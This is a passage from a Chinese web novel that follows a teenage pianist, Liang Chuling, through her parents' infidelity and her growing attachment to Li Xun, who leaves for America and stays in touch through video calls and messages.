她没见过爸爸下厨,妈女士十指不沾阳春水。这种“有人为你洗手作羹汤”的场景,对她来说好新奇。
“看什么?”李寻头也没回。
梁初灵吓了一跳:“看看你有没有下毒!”
李寻轻笑一声没理她。
半小时后,端着两碗番茄鸡蛋面端上桌。
他记得梁初灵吐槽过她学校食堂的番茄鸡蛋是甜口,简直天地不容!
梁初灵太过义愤填膺,李寻也就没好意思说其实自己的口味也是甜口……
反正今天特意给她做了符合她口味的。
梁初灵吃了一口:“李寻,你这水平能开店了!”
李寻坐在对面:“夸张。凑合吃吧。”
从那以后,去李寻家蹭饭也成了梁初灵的固定揭幕。她发现李寻会做的菜真不少,于是开始点菜。
“明天我想吃糖醋排骨!”
“嗯。”
“能做个小炒牛肉吗?不要太辣。”
“好。”
“我还想吃酸菜鱼。”
“梁初灵,”李寻终于打断她,“我不是许愿池里的王八。”
梁初灵哈哈大笑,一
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点没自觉,反而觉得有趣:“那你是什么?”
李寻面无表情:“我是上辈子杀你这头猪的罪人,行了吧。”
来源是有次李寻给梁初灵讲数学题,讲了好几遍,梁初灵有点不好意思,自己说:“我们老师说上辈子杀猪这辈子教书。”
李寻都不知道这话怎么回,只能试探:“你意思是你上辈子是猪?”
梁初灵:……
这样的夜晚持续了将近两周。
她白天在学校和琴房奔波,晚上就和李寻混在一起。
写作业,聊音乐,吃他做的饭,或者只是各干各的,共享一段安静时光。
和李寻在一起,哪怕什么都不做,时间也过得轻快,像一首小步舞曲。
直到有一天,她照例磨蹭到快十一点才回家,客厅灯火通明,妈女士一个人坐在沙发上,抱着个抱枕,面前放着杯红酒,脸上如释重负,正是在等女儿。
“回来啦?”妈女士看到她,招招手。
梁初灵换着鞋,答应了一声,问:“我爸呢?”
“走了。下午接了个电话,急匆匆就走了,说是南方分公司有急事,出趟远门。”妈女士站起来往梁初灵这边走,面色红润,不知是因为酒精还是因为心情,“前几天他就已经电话不离手、每晚都要偷偷摸摸去楼顶呆半小时,你回家晚错过了。”
错过,真心实意替梁初灵的错过而可惜,没看着那好玩儿景象。
她拉着女儿往衣帽间走,“我猜是又有新人,这苦日子咱们过到头了,庆祝一下,妈妈给你买了新衣服。”
梁初灵被拉着走,看着母亲美丽而愉悦的脸,心里复杂。
复杂在于,这之前爸爸找她聊天,还说着:以后爸爸多陪陪你。
复杂还在于,她的确心里一松,觉得神清目明。可是她应该高兴吗?
母亲用如此真心的笑容,来庆祝丈夫的再次出轨,她觉得无比荒谬,喉咙哽塞。
真心原来也可以如此讽刺。梁初灵在心里惊叹。
那么我的真心,也是这样讽刺吗?梁初灵在心里挑拨。
“初灵,你还想要爸爸回归家庭吗?”妈女士却是好像知道女儿在复杂什么,但要破开复杂,重回简单。
如果是以前,梁初灵可能会毫不犹豫说想。她渴望名义上的完整。
但现在,那个想字怎么也说不出口。
时间往后走,却显得之前的期待变得好笑。
她没有回答。
妈女士轻轻叹了口气,站起来,伸出手绕过她的肩膀,很轻地拍,像哄一个很小的孩子:“宝贝,记住,谁痛苦谁改变。妈妈不痛苦,所以妈妈不用改。”
梁初灵抬头看妈女士,正巧妈女士对着她眨眨眼。
无端的,她又想起李寻的话,‘乖’是违背本性。
第二天,妈女士就兴致勃勃收拾行李,准备开启她的下一段旅程。
家里重新恢复了“正常”。
梁初灵不必再在外面消磨时间。可以准时回家吃张姨做的饭,可以在自己的琴房里练习到深夜,不用担心关怀和指导。
自由失而复得,她却感觉心里空了一块。
晚上,她坐在自己房间的书桌前,却一个字也看不进去。摸了摸脖子上的玉坠。
那些夜晚结束了。
李寻也没必要继续陪伴。
梁初灵感到失落。
如果梁父的离开就等于失去李寻的陪伴,她不知道她还愿不愿意用现在的生活去交换。
她点开和李寻的聊天框,却不知道该发什么。
问他在干嘛?太刻意。
说我爸走了?好像也没必要通知。
问明天还一起吃饭吗?显得她多离不开他似的。
生活,难。
14. 《告别》
好景不常在。
这句话的第二个意思是:李炽和李寻要走了。
不算太意外,李炽本就是国内呆半年,国外呆半年,像候鸟遵循着迁徙规律。
比赛的预选视频尘埃落定,到明年三月结果出来之前,是一段漫长的等待和准备期。
李炽的大部分学生和资源网都在国外,也是时候把工作重心暂时移回美国。李寻自然跟着一起走,他的国际学校和美国的合作学校衔接顺畅,手续都是现成的,以往也都是这个模式。
李炽对梁初灵也没什么不放心。
这小天才自律起来吓人,附中的老师盯练琴也盯得紧,再加上时不时视频连线考察,出不了大岔子。
梁初灵得知这个消息最先是从李寻口中。
李寻这个性格,当然不会让梁初灵在琴房直面通知,他舍不得梁初灵陷入一点点被动,所以一定会先跟梁初灵提一句。
李炽得知,说他优柔寡断,李寻说那很好啊,面对梁初灵也不适合铁石心肠吧。
周五下午放学,梁初灵背着书包往外走,盘算着晚上去李炽那儿加练时要重点抠哪几个段落。
校门口熙熙攘攘,接送学生的车辆堵成一锅。
梁初灵低头想从人群缝隙里钻出去,却突然看见了李寻。
李寻站在校门外,穿着卫衣和牛仔裤,背着包,手里没拿什么东西,就那么等着。
傍晚的光线打在他身上显得迷人,狂风歇息,校内的钟声当当当响了起来,幸好,是钟声,不然梁初灵还以为是自己心跳声。
梁初灵几步跑过去,有点惊讶,“你怎么来这儿了?”
李寻先从卫衣口袋里掏出一个包得严严实实的东西,递过来。
梁初灵接过打开,是一个烤红薯,还冒丝丝热气,李寻拿自己衣服当保温袋一直煨着。
“路上看到的,想着你下课可能会饿。”李寻解释了一句。
梁初灵确实有点饿,也不客气,掰开就啃。
红薯很甜,她一边吃一边问:“你特意过来就为了送这个?”
李寻看她吃得挺香,踌躇着也就开了口:“我和我妈下周要去美国了。”
梁初灵一口红薯差点噎在喉咙里,猛咳起来。
刚才还觉得香甜的红薯,一下变成了铅块,堵在胸口,咽不下去也吐不出来。
李寻赶紧伸手拍她的背:“慢点吃。”
梁初灵顺过气,抬起头,眼睛是因为咳嗽有点泛红:“下周啊?这么快?”
“嗯,机票订好了。”李寻收回手,看着她的表情,心里那点不放心开始冒头,话不由自主多了起来,“我们课程转线上,时间会协调好,你照常准备就行。你自己在这边记得按时吃饭,也要多吃蔬菜。练琴的时候,每隔四五十分钟就起来活动一下,转转手腕脖子,别一直僵着。上次给你那个按摩球记得用。还有,天气还是冷,你出门得多穿点,别着凉。我看你上次吃那个蛤蜊有点过敏,以后海鲜类的尤其是贝类,要注意点……”
他絮絮叨叨,事无巨细。
说完又从自己包里拿出一个透明药包递过来,“这里面是些常用药,退烧的,感冒的,肠胃不适的,抗过敏的,碘伏棉签,创可贴也有。”
梁初灵听着、看着,心里越来越不舒服,强行打断,语气有点冲,掩盖那股慌乱:“知道啦知道啦!我又不是三岁小孩!不用你操心这些!”
李寻被她打断,停了下来,看着她不耐烦的脸,长叹了口气,这口气叹的无奈,“怎么能不操心呢。”
像自言自语。又绕到梁初灵身后,把药包塞进她书包里。
梁初灵没听清最后那句话,或者是听清了但不知道该怎么回应。
李寻看她蔫头耷脑,抬头左右看了看,看到学校门口另一边有个卖气球的,他走过去,很快又回来,手里多了一个黄色的笑脸气球,圆滚滚,傻乎乎。
他把气球绳子塞到梁初灵手里:“拿着玩。”
梁初灵有点哭笑不得:“你当我几岁啊!”
“八岁。”李寻面不改色,“走吧,先去吃饭,然后去上课。”
去琴房附近的商场吃饭,走的是熟悉的路。
梁初灵一手牵着那个气球,一手插兜里,没什么说话的欲望。
脑子里乱糟糟,为了让自己不去想李寻要走了,于是逼迫自己想别的,又想到了自己爹妈。
突兀觉得她们还真是一家人,都迷恋那些“课间时间”。
梁父在家庭这个正课之外,寻找着能让他汲取新鲜感的出轨对象。
妈女士同样在婚姻的正课里心不在焉,热衷于在外面寻找她的太阳和月亮。
那她自己呢。
李寻对她而言,是不是也算是一种课间时间,是那个可以让她获得平静和快乐的课间十分钟。
那么反过来呢。
自己对于李寻来说,是不是也只是他规律生活按部就班练琴学习之外的一段课间时间?
现在上课铃响了,他的课间时间自然就结束。
这个认知让她的心情更加低落。
吃饭的餐厅人不少,吵吵嚷嚷,气球寄存在前台。
她们点的菜上得很慢。
李寻拿手机在处理一些事情,两所学校的手续对接,还有一些出行前的资料准备。
梁初灵就坐在他对面。
灯光明亮,周围热闹。但她却觉得安静。
因为李寻没说话。
李寻没说话,外面再吵,她都感觉很安静。
菜终于上来,是大盘鸡。
李寻放下手机,拿筷子把里面几块青椒一一挑出夹到自己碗里,然后找鸡腿肉夹到梁初灵的碟子里。
“吃吧。”他说。
吃完饭去前台拿气球时,一个小孩儿在哭闹,想要那个气球,服务人员没辙,小孩儿的哭闹杀伤力很惊人,极其影响生意。于是就想跟梁初灵打商量能不能送她一点小零食,她把气球就送给这小孩儿。
说着是打商量,但死死捏着气球细细的绳子不让梁初灵碰。
梁初灵没有多想要这个气球,但是这是李寻送给她的,是她的东西,她是主人,现在却让她如此被动。
有点不高兴。
但她怕自己吵不好,所以想直接去抢气球。
手刚要往前伸呢,服务人员却错误领会意思,已经把零食递过来了。梁初灵立刻又把手往回缩。
一番动作之间,李寻先一步拒绝:“她想吃什么零食我会给她买。气球还给我们,这是我们的东西。”
这下换小孩儿家长不高兴:“这气球又不值几个钱,你多少钱买的,我给你钱行了吧?”
李寻:“不管值不值钱都是我们的东西,不问自取就是偷。”这句话是对着服务人员说的,说完转向家长,“强占豪夺就是抢。”
俩人,一个被打成小偷一个被打成土匪,都气得鼻孔出气。
李寻不理,伸手,示意服务人员把气球拿过来。
拿到后领着梁初灵往外走。
商场一楼贴着投诉电话,梁初灵指了指,忿忿:“咱们投诉他们!”
吃饭的时候热,梁初灵把外套的拉链拉开了。现在要出商场,外面天已黑,气温下降。
李寻侧过身体把梁初灵外套的拉链给她拉上,边拉边说:“算了算了,他也是怕影响店铺生意。估计以后他再也不会这样做事了。”
梁初灵看了眼手上完好无损的气球,想了想出店门时服务人员一脸菜色,那好吧!
两人往琴房的小楼走,李寻问:“还生气吗?去给你买点零食?奶片还吃不吃?”
梁初灵摇摇头,本来就没生气,只是有点不高兴,现在不高兴却被李寻转化为激动,扯着气球蹦蹦跳跳地走,还戳了戳李寻肩膀,说:“以理服人!我也要学!”
李寻觉得好笑,又想到即将要分开,笑不出来。
路过一家糖炒栗子店,李寻看着暖洋洋,他总觉得梁初灵冷,也知道她老是饿。于是问:“吃点栗子?”
梁初灵没什么意见。
李寻去买栗子,梁初灵扯着气球站在店外,店门口有一个纸箱,纸箱里垫着旧衣服,一只狸白猫蜷在里面睡得正香。
店主忙着炒栗子,看见梁初灵蹲下来看猫,随口搭话:“喜欢啊?喜欢就拿走。”
梁初灵抬头看了一眼,笑着摇摇头。
店主一边翻动锅里的栗子,一边继续说:“昨天自己跑进来的,赶也赶不走。我这店下月底就转让了,也没法养。我不喜欢这玩意,嫌麻烦。”
见梁初灵没答话,店主看向李寻,又把话重复了一遍:“小伙子,你们要不要?要就带走,省得我到时候不知道咋办。”
李寻也摇摇头:“我们养不了。我下周就不在国内了。”
梁初灵站起身,她早就不再动养猫的念头了。
李寻看了看那只小猫,也觉得小猫冷,也觉得小猫饿,拿出手机:“老板,加个微信吧。我帮忙在朋友圈问问,看有没有朋友愿意养。”
店主倒是爽快,擦了擦手就加了微信。
到了琴房,李炽已经在等。
宣布了课程转为线上的安排,以及她们即将出发去美国的消息。
梁初灵站在那儿,脸上已经看不出刚才的低落:“好啊,我知道啦。”
李炽点点头:“开始上课。”
——
李寻和李炽出发的日子,在一个天气很好的周六。
梁初灵头天晚上失眠,翻来覆去煎自己,天快亮时才迷糊了一会儿,醒来时感觉脑袋昏昏沉沉。
舌头顶了顶口腔壁,触到了一处溃疡,有点疼,是一种让人上瘾的疼。梁初灵向来擅长抵抗诱惑,跑去楼下翻到了口腔贴覆上。
她提前跟李寻说了自己想去送机,所以李炽叫的车绕路来梁初灵小区门口也接上她。
李炽她们接上梁初灵,去给李炽她们送机,李炽简直要笑。
但儿子前一天逼着她保证了绝对不因为这件事嘲笑梁初灵,所以李炽此刻忍得很好。
去机场的路上,梁初灵一直看着窗外,舌头顶一下,触到的是口腔贴。
北京已经有了热的苗头,阳光明晃晃,路边的树木绿得浅淡,像心事,像便签,就是不像离别。离别应是浓重的,但却总只能轻巧淌过,这是人为的轻巧,梁初灵不喜欢。
外头生机勃勃,她心里黑白错落。
李寻怕她晕车,给她剥了个橘子闻,又看她嘴唇起皮,拧开一瓶水让她喝一口。梁初灵也只喝了一口,有点困,莫名其妙就睡着。
到了国际出发大厅,人潮涌动,各种语言混杂,制造出匆忙又焦灼的氛围。
梁初灵站在入口处,有点茫然。
她没送过机,流程陌生。
杵在原地、眼神放空。
“发什么呆?还困是不是?要不我送你回家睡觉吧……”李寻的声音很清晰,又看了眼时间,觉得赶一赶的话确实来得及,“我现在叫车?”
“你有病吧!我不回去!”梁初灵回过神,骂完一句还想再骂。
但李寻已经伸出手抓住了她的手腕:“好好好,别生气,这边人少,跟我来。”
他的手掌干燥温热,梁初灵像木偶被他牵着,穿过熙攘人群,他一边走,一边用身体挡在她外侧,避免她被行李车或者旅客碰到。
“吃早饭了吗?”李寻低头问她。
“没有。”
梁初灵回答的声音有点小,李寻没听见,所以弯腰把耳朵凑到她嘴边,问:“你说什么?我刚没听见。”
“我说我没吃,起晚了,没胃口。”梁初灵对着李寻的耳朵说。
“现在吃得下了吗?”李寻还是保持着那个姿势。
“有点饿。”
李寻站好,轻轻拍了拍她头顶:“真棒,知道听身体的诉求。我去给你买个早饭。”
李寻去买了一个三明治和一盒牛奶:“先垫一下。”
梁初灵接过慢吞吞地吃,吃
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得心不在焉。
李寻看着她:“脸色这么差,昨晚没睡好?”
“睡好了。”梁初灵嘴硬。
他没戳穿,不知道眼神看向了哪里,盯了一会儿,欸了一声:“你嘴里贴了个什么?口腔溃疡了?”
梁初灵点点头,李寻又去便利店给她买了瓶橙汁。
进了机场大厅后,人多气温高,李寻觉得有点热,把牛仔外套脱下来搭在一条胳膊上。
此刻梁初灵吃完东西,突然伸手去接,李寻赶紧又欸欸欸几句,想着不用她帮忙拿,但又不敢用力躲、怕不小心推着她,梁初灵已经接过。
他心里酸酸的,想着怎么突然这样细心,结果梁初灵接过去后给自己穿上了……
李寻没忍住笑,又想起了什么,去摸她手,果然,冰凉。
笑不出来了。
又撩开她头发看脖子,果然,又是穿一件单衣,李寻一开始以为她里面还有件衣服,头发披着他也没注意,没想到就只穿了一件。
怎么能不操心,李寻心想。
但梁初灵真不用那样操心,也不是故意穿的少。
昨晚没怎么睡,导致早上起晚。睁眼一看时间就有点着急,贴了口腔贴换了睡衣就往外跑,压根没顾得上。
李寻伸手给她把外套的扣子一颗颗扣上,再把头发翻出来,拉着外套的袖子——也是拉着梁初灵继续走。
走去不远处一家文创店铺,琳琅满目。
梁初灵被他牵着袖子,慢吞吞跟着。
那件牛仔外套袖子长出一大截,可以盖住整只手还有余,但被李寻翻折过袖口,于是只盖住半个手背,露出一点指尖。衣服上有很淡的属于他的气息,像晒过太阳的被子,这气息包裹她,像阳光缠身,难以挣脱,又有点昏昏欲睡。
困意消散,源于梁初灵发现自己心跳得很快。
噗通、咚哒、乓乓……
跳得让她有点酸。
李寻不觉,牵着她,真像是在闲庭信步。
拿起一个飞机模型,拨弄了一下螺旋桨,发现桨还挺锋利,又放回去。接着又看中一盒磁吸书签,花花绿绿,煞是热闹。
“这个怎么样?”他拿起那盒书签,侧头问她。
梁初灵看着那堆色彩浓烈的小铁片,心想这跟李寻的气质实在不搭,但还是点了点头:“还行。”
李寻买了一盒书签。
又在一个零食铺子驻足,挑了几包果干、巧克力和牛肉干,最后又拿起一罐薄荷糖,在她眼前晃了晃:“这个,晕车或者不舒服的时候含一颗。”
“啊?你这是给我买的啊?”梁初灵后知后觉。
“对啊。”
梁初灵看着他挑选付款,然后把那些文创文具和这堆零食都拎着,心里的怪异越来越浓。
这到底是谁送谁?
怎么感觉像是她要出远门,他在给她张罗路上的行李和消遣的零嘴?
她忍不住:“李寻,是我来送你。”
李寻正拿起一个毛绒绒的看起来像是青蛙的丑萌玩偶,转头看她,梁初灵错觉有细碎的光流转,像阳光下的溪水,她迅速仰起脑袋看,却找不到源头,只好又低头,低头完再转看向李寻的眼睛。
李寻把那个丑萌青蛙玩偶递给她:“知道。这是送机礼。”
梁初灵看着手里那个表情呆滞的青蛙,一时无语。
李寻却是找到了乐趣,更是放开了手脚。
看到卖特产的,进去拎了一盒;
又看到卖文具的,又买了一叠信纸,拿了几盒铅笔,又买了几本印着猫猫的本子;
在一个卖香薰的柜台前,还认真闻了几款,最后选了一个据说能安神助眠的。
梁初灵感觉自己不像来送行的,倒像是来进货的。
看着李寻的背影,他没有了外套,只有一件帽衫,在人群里从容穿梭,为她搜罗这些莫名觉得她可能会喜欢的东西。
记得她偶尔会低血糖,记得她会晕车,记得她喜欢乱涂乱画,记得她练琴累了喜欢嚼点东西,记得她会失眠,记得她对那些小玩意的好奇,记得很多连她自己都可能忽略的细枝末节。
心里那片黑白错落的荒原,好像被这些零零碎碎一点点染上颜色。
李寻终于走回她身边,“差不多了。”他说,“应该够你消磨一阵。”
梁初灵抬起头,撞进他眼睛里。里面不再是平惯的平静无波,而是漾着一种她无法立刻解读的东西。
她又察觉到自己的心脏跳得很快。
广播响起,催促着旅客办理登机手续。
时间到了。
李炽也已经拖着随身行李箱走过来,站在几步开外。李寻深吸一口气,再次轻轻握了握她的手腕,很快松开。
“我们该走了。”他看着她的眼睛一字一句。
梁初灵之前准备好的所有话,比如“一路顺风”,比如“到了报平安”,此刻都挤不出来。她只能点头,点得脖子发酸。
李寻又看了她几秒,抬手,这次不是拍头顶,而是用指腹蹭了一下她脸颊。
“我帮你叫好车了,车牌号发在你微信上了,别乱走,看见了吗?那儿,对就是那边,从那个门出去,出去左转就能直接上车。到家了给我发条消息。我走了。我们走了。”
他说完,确认梁初灵都听清楚了路线,再转身走向李炽。
梁初灵站在原地,看着她们背影汇入人流,走向安检口,一直看着,直到身影消失在通道尽头,再也看不见。
周围依然是喧闹的,送别的,重逢的,匆忙的。
可她站在那里,穿着他的外套,抱着一堆东西。
仿佛不是他去远行,而是她即将开启一场漫长的旅途。
离别总是很快,像一阵风吹过。
她抬起手,再次挥了挥,说了一句:“再见。”
啊,想起来了,早上贴了口腔贴,成分有地塞米松,那会导致心跳加速。
原来如此。梁初灵边往外走边心里想。
15. 《格特鲁德圆舞曲》
五月的北京总算有了点正经春天的样子,哗啦啦泼开一世界的绿。几乎有点嚣张。
植物清新又清腥。
就是路边的杨树毛子飘得像下雪。
梁初灵每次从琴房出来都得捂着鼻子跑,不知道的以为柳絮在追着她打。
第一次线上课。
梁初灵弹完一首玛祖卡,李炽在屏幕那头正好喝完水。
“节奏活了不少,有点意思。左手这个装饰音处理得比以前好。”
梁初灵心里刚冒出点得意,李炽下一句就跟了上来:“就是第三小节那个回旋,收得有点急,像被人撵着。怎么,赶着去投胎?”
梁初灵:……
她没好意思说,那是因为瞥见李寻出现在了视频的右上角,她莫名就想赶紧弹完那个小节。
此刻李寻把果盘放在李炽手边,人却没走,靠在书桌旁,拿起一个苹果开始削。苹果皮连绵不断垂下来。
梁初灵的视线忍不住又往那边飘。
“看什么看?”李炽的声音凉飕飕,“他削个苹果也比你刚才那个音弹得好看?”
梁初灵瞬间坐直,目不斜视。
李寻低着头,肩膀可疑地抖动了一下。
下课的时候,李炽那边门铃响,她起身离开。
视频还没断,屏幕上只剩下李寻,和他手里那个削得光溜溜的苹果。
“给你削的。”他把苹果对着摄像头晃了晃,“可惜递不过去。”
梁初灵哼了一声:“谁稀罕。我根本不爱吃苹果!”
“我稀罕。”李寻接得自然,咔嚓咬了一口,“很甜。”
梁初灵忽然觉得有点口渴,其实她最近吃水果吃蔬菜都比以前多,但是没跟李寻说,显得像是在邀功,那样她不喜欢。但也不能不说,那不就白用工?所以要等到见面的时候说,可是,什么时候才能见面呢?
“你那边天气怎么样?”她没话找话。
“还行。就是下了好几天暴雨,电闪雷鸣。”李寻语气里带着点真实的无奈。
“活该。”
骂完却发现屏幕那头的李寻在笑。
“笑什么!”
“没什么,哎呀忘夸我们小天才了,今天弹得真棒,一点就会。”
李寻夸完就把镜头对着窗外,让她听鸟叫声。
然后镜头下移,对准窗台上一个小花盆,里面有一些嫩芽。
“梁初灵。”他的声音这才出现在视频里,“给你种了盆……先不告诉你,等它长大点再告诉你。”
下线后,梁初灵看着黑掉的屏幕发了会儿呆,又拿起谱架旁边的水杯开始灌,灌到一半,亡羊补牢一样开始慢慢喝。喝完这杯水,她还是发呆。
李寻人走了,影子却留了下来,并且与她原有的生活发生着“混同”。
这个词还是李寻告诉她的。
有一次聊起她爸她妈那摊子事,她说感觉这个家像在被强行粘起来的模型,看着是那个形状,其实内里早就分不清哪块原本属于哪个部分。
李寻说:“物权法里有个概念,叫混同。”
“什么东西?”
“说的是不同的人的财产混杂在一起,形成新物,难以分割。如果要硬分,只能按照价值比例,各自分得不完全属于自己的那部分。比如你的米和我的米倒在一个缸里,那就成了我们的米。硬要分,也只能按比例分,分出来的,也不再是原来完全属于自己的那些米了。”
当时她听得半懂不懂,只觉得绕口。
现在,她重又想起这个词,是因为刚才李寻给她看那盆植物时,她压住了一个不知从何而来的问题没问:是绿萝吗?
能够压住,是因为梁初灵当时确实不知道这个问句是从哪里来的,她甚至不知道绿萝是什么……现在记忆回笼,想起来了这两个字是从哪里被种进她的脑海。
两个字再牵引出另外两个字,再牵引出更多字,字字堆叠,足以构筑一个新世界。
在这个新世界里,她毫无遮碍的就能发现自己很多习惯都带上了李寻的影子。
练琴时,她会在谱架旁放一杯水,喝水也不再牛饮。
吃饭,会去打一些自己勉强能吃得下的蔬菜。
她书桌上那个笔筒,现在也插满了印着猫猫头的笔,都是从李寻塞给她的那些文具里拆出来的。
这种混同,无处不在。
出现在她清晨醒来,摸向脖子上的玉坠时;
出现在她拧瓶盖第一次没拧开,垫着衣角再试一次时;
出现在她看到天边一朵奇形怪状的云,第一反应是想起来李寻肯定会说什么什么时。
朝夕相处,互相沾染了对方的气息、颜色、甚至形状。
现在想彻底分开,已经不可能。
他的习惯,他的方式,与她原有的部分交融在一起,形成了新的“梁初灵”。
如果硬要剥离,大概也只能分得一片狼藉,和两个都不再完整的个体。
她不再是完全原来的她,她的生活里,处处是他留下的比例,像盐溶在水里,看不见尝得出。
——
下午到学校琴房时,管理员阿姨刚开窗户,风裹着杨树毛子飘进来,梁初灵赶紧连抽好多张纸巾,把琴键上的毛絮擦干净。
坐下就打开谱子,李炽上周线上课让她重点抠左手的和声支撑。
把手机调成静音,塞进谱架下面的抽屉。
下午又有央音的合作演出,她得把所有注意力都放在曲子上。
风涌进来,把摊在琴谱架上的几张活页纸吹得窸窣响,她伸手按住,脑子里冒出一句:“这个风速,适合在谱子这里做个渐慢处理。”
想完就给自己吓一跳,太努力了,太努力了啊梁初灵!难怪你能当天才呢!
表演在音乐厅,梁初灵是第一个上场。
坐在后台等的时候,旁边的女生紧张得手都在抖,问她:“初灵,你不紧张吗?”
梁初灵拍了拍她肩膀:“分给你一点幸运吧。”
演出全部结束是晚上九点,这才看了眼手机,屏幕上是李寻发的早餐:“今天草莓有点酸,你要是买着甜的,记得拍给我看。”
梁初灵咬着吸管吸了口纯牛奶:“我们这儿的挺甜的,昨天张姨给我买了一盒塞书包里,我吃了两颗就不想吃,剩下的全给我同桌了。”
李寻又问她表演得怎么样。
梁初灵去老师的朋友圈拿了几张拍自己的图发给她。李寻很快回了条语音,满是笑意:“真棒啊小天才。”
她把手机塞口袋里继续往家走。
梁初灵生在五月二十号,一个被赋予了大量含义的日子。
有时会错觉,自己在这天出生,是不是天生就比别人多携带了一点关于爱的天赋……似乎也并没有。
既然是生日月,总归会比较幸运吧?她漫无边际地想。
事实佐证了这一点。
近期的几次专业考核,她发挥得都很顺畅。
那个紧张的女同学今天演出表现得也不错。
——
说实话梁初灵调整得非常快。
机场送别后,她将自己的时间表排得满满当当,文化课,专业课,语言学习,曲目练习……井井有条。生活饱满而规律。
没什么是练琴解决不了的,如果有,那就加倍练。
只是,会在一些意想不到的时刻,李寻的影子会毫无预兆地跳出,打一个岔。
但是,被打完岔的人生也还是会继续向前。
到家时张姨正把夜宵端上桌,梁初灵放下书包洗手,随口问:“我妈最近没打电话回来?”
“今天打了,说在意大利看展,给你买了条裙子,让你生日穿。”
梁初灵哦了一声,没太在意。
吃饭时手机震了一下,是李寻发来的午餐照片,梁初灵拿起手机拍了拍自己面前的番茄鸡蛋,发过去:“张姨做的,比你上次煮的好吃。”
没过几秒李寻就回了条语音,声音里带着笑:“知道了,小天才的口味最棒。对了,我今天去了趟音乐学院,看到有卖肖邦的手稿复刻版,你要不要?我帮你带一本。”
梁初灵嚼嚼嚼:“要!不过你别买太贵的。”
“没事,算我的。”李寻又发了条文字,“就当提前给你的生日礼物。”
梁初灵看着屏幕,李寻居然记得。每年生日,妈女士多半在国外,梁父更是连她生日是哪天都记不清。
吃完饭她钻进琴房,打开电脑准备找找谱打印出来再练会儿琴,明天周末,她今晚可以晚点睡。想趁着记性还热乎,把表演时的感觉记下来,下次再跟李炽线上课汇报。屏幕右下角突然弹出个视频请求,是李寻。梁初灵愣了愣点了接受。
视频里李寻刚洗完澡,头发还湿着,穿着件白色T恤,背景是他的房间。
“没打扰你练琴吧?”他问。
“还没开始,”梁初灵把手机架在谱架上,“你怎么这会儿有空?不用写作业?”
“刚写完,”李寻拿起桌上的书
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晃了晃,“你上次说的那个手部放松操,我找了个更简单的版本,你要不要学?”
梁初灵点点头,看着李寻在视频里演示动作,手指跟着比划。
他的手很好看,骨节分明,弹钢琴的时候像在琴键上跳舞。
梁初灵突然想起以前在李炽的琴房,李寻弹自己的作品给她听,阳光落在他手上,一种相辅相成的美感。
“学会了吗?”李寻停下动作,看着她。
“会了。”梁初灵收回手,有点不自在地转了转手腕,“谢谢你。”
真奇怪,以前面对面,梁初灵很少对李寻说谢谢,如今隔着网线隔着大洋隔着国度甚至都快隔着人生,梁初灵却礼貌起来。
“不客气,”李寻笑了笑,“对了,你生日那天打算怎么过?”
“不知道,”梁初灵抓了抓头发,“可能就在家跟张姨过吧,我妈估计回不来,我爸更别说了。”
“那我给你点个蛋糕吧。”
梁初灵赶紧摆手:“不用了,太麻烦了。再说我也不爱吃蛋糕。”
“那我给你点别的。”
李寻经常找她聊天。
他的微信消息,一日三餐,日常碎片,心情,天气,趣事……什么都有。
天空一朵形状奇特的云;路边的流浪猫;唱片店里淘到的黑胶。
跨越十二小时的时差,滴滴答答,他的生活涌入她的生活。
梁初灵断断续续回复,尽管如此,李寻也知道,哪怕自己走了,梁初灵也把自己照顾得很好。
练琴没落下,考核成绩优异,胃口也没受影响,并没有因为他的离开而出现什么适应不良,依旧活得风风火火,像一株向着太阳猛长的向日葵。
他像是准备好迎接一场暴雨,连雨伞都检查了一遍,结果窗外只是飘了几滴雨丝,太阳很快又探出头来,晃得人头晕眼花。
是有点失落。
李寻放下手机,看着窗外的天空,第一次觉得,原来一个人太过独立,也能让另一个人感到不是滋味。
梁初灵并未察觉屏幕那端这微妙的心绪,只是按部就班过着自己的日子。
五月十二号,梁初灵又迎来了她的独奏会,这次台下的听众里坐着一个曾在俄罗斯一起合作过的老师,梁初灵也很喜欢她,因为在意,所以紧张。
上台前,她坐在后台,能听到前面观众席传来的说话声。手心有点汗。
她闭上眼,深呼吸。
脑子里不是空的,是李寻的声音。
“吸气——呼气——”
轮到她了。
走上台,鞠躬,在琴凳上坐下。灯光打下来,有点热。
手指落在琴键上,世界安静。
台下那位老师在她弹完最后一个音符后,轻轻鼓掌。
非常成功。
回到后台,相熟的同学围过来祝贺,梁初灵笑着应付。
坐下后再给李寻发:“演完啦。”
李寻发来一张图片,是一张手绘的奖状,上面写着“特此表彰梁初灵同学演出大获成功,特发此状,以资鼓励”。
落款是:非著名音乐爱好者李寻。
梁初灵没忍住,笑了出来:“什么鬼画符。”
“礼轻情意重。”
过了一会儿,李寻又一条消息:“刚才应该给你鼓掌的。下次见面给你补上。”
梁初灵看着这句话,忽然不知道该怎么回。
什么时候才能见面呢?
那被她强行压下去的类似想念的情绪,悄无声息又漫上来一点。
过了一会儿,她回了一条不相干的:“李寻,我好像已经习惯你不在身边了。”
这句话发出去,她心跳又有点快。
久到梁初灵以为他不会再回,或者会回一句那挺好的时候,他的消息才跳出来:“可是我不太习惯。”
她再次想起他说过的“混同”。
不只是她一个人在经历这种改变。她在这边努力适应着没有他的生活,而他在另一边,坦然承认着他的不习惯。
这算不算一种遥远的混同?
五月的风带着暖意,吹动帘布。灯的光晕里,飞蛾盘旋。她摸了摸脖子上的玉坠。
好吧。她在心里对自己说。混同就混同吧。反正硬要分也分不清楚。
她现在没空去剥离这些。那些时不时冒出来打扰她一下的情绪,就暂且让它们待在混同的状态里吧。
转身,灯光落在谱面上,黑白分明,一如她此刻的心。
16. 《法国组曲第五套·萨拉班德》……
北京五月中难得有这样的天气,雾和霾交织,往外一看,整个世界醉醺醺。
大前天大雨、前天大风、昨日朗朗晴空,今天却捧出一蓬蓬浑浊,好似一周之内一切气候都要展开拉锯,无数气息交缠,让无聊的北京也能浸出文艺片里爱用的清润。
热得体面,凉得洗练,有阳光在浑浊中偷瞄,忽明忽暗,是一封没贴邮票的信,有半推半就的迟疑,梁初灵也迟疑,迟疑地打开门,以为是邻居或是张姨,门一开,外面站着的却不是预想中的任何一个。
是个同样迟疑的年轻女人。
看起来也就三十出头,脸上带着点局促不安,眼睛发红,像是哭过。
梁初灵觉得有点眼熟,电光石火间,脑子里闪过父亲电脑里那张依偎的照片。
是她。
女人看到梁初灵,也愣了一下,显然没料到会是这个少女来开门。
她犹豫着还是开了口:“请问梁先生在家吗?”
梁初灵心里的警报拉响,脸上没什么表情:“不在。”
女人眼神黯了黯:“我打他电话打不通。有些事想当面问他。”
